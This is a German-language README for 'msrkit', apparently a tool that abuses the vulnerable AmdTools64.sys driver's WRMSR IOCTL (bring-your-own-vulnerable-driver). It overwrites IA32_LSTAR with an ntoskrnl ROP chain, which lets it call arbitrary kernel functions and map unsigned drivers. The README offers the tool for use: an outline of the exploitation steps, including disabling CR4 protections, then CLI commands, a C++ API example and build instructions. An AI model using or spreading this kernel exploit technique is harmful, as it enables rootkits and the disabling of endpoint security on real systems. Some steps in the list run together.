
Ein Konzept zur Verwendung einer ROP-Kette in Kombination mit einem WRMSR-Primitiv, um Kernelfunktionen aufzurufen und unsignierte Treiber über BYOVD (AmdTools64.sys) zu laden
Ein Tool zum Aufrufen von Kernel-Funktionen und zum Mappen von Treibern über eine ROP-Kette mittels eines wrmsr-Primitives in einem verwundbaren Treiber (AmdTools64.sys).
AmdTools64.sys über NtLoadDriver (fällt auf PnP-Devnode + GUID-basierte Geräteschnittstelle zurück, falls der Symlink nicht verfügbar ist)IA32_LSTAR über den MSR-Read-IOCTL des Treibers (0xFFF02804)ntoskrnl.exe nach ROP-Gadgets (pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret, usw.)IA32_LSTAR mit dem Entry-Gadget, löscht AC in FMASK und führt syscall aussysretq in den User-Modus zurückDas Treiber-Mapping folgt demselben Pfad: Es wird ein Kernel-Pool über ExAllocatePoolWithTag alloziert, das vorbereitete PE-Image kopiert (Relocations angewendet, Imports aufgelöst, Security-Cookie gepatcht) und der gemappte Entry-Point aufgerufen.
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- löst einen benannten ntoskrnl-Export auf und ruft ihn auf. Argumente werden als Integer geparst (Hex mit 0x-Präfix). Gibt den Rückgabewert aus.call_at -- ruft eine beliebige virtuelle Kernel-Adresse auf.map -- mappt einen unsignierten Treiber in den Nonpaged Pool und ruft dessen Entry-Point auf (ExAllocatePoolWithTag). Gibt die gemappte Basisadresse aus.unmap -- gibt einen zuvor gemappten Treiber an der angegebenen Basisadresse frei.#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
Optional kann ein vorhandenes Treiber-Handle übergeben werden, um das Laden zu überspringen:
MSRK::INIT("AmdTools64.sys", existing_handle);
Erfordert Visual Studio mit MSVC (v143+) und MASM (ml64.exe).
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
Ausgabe: build/Release/msrkit.exe (CLI) und msrkit.lib (statische Bibliothek).
CFG ist deaktiviert (/guard:cf-). Stack-Cookies (/GS) sind aktiviert.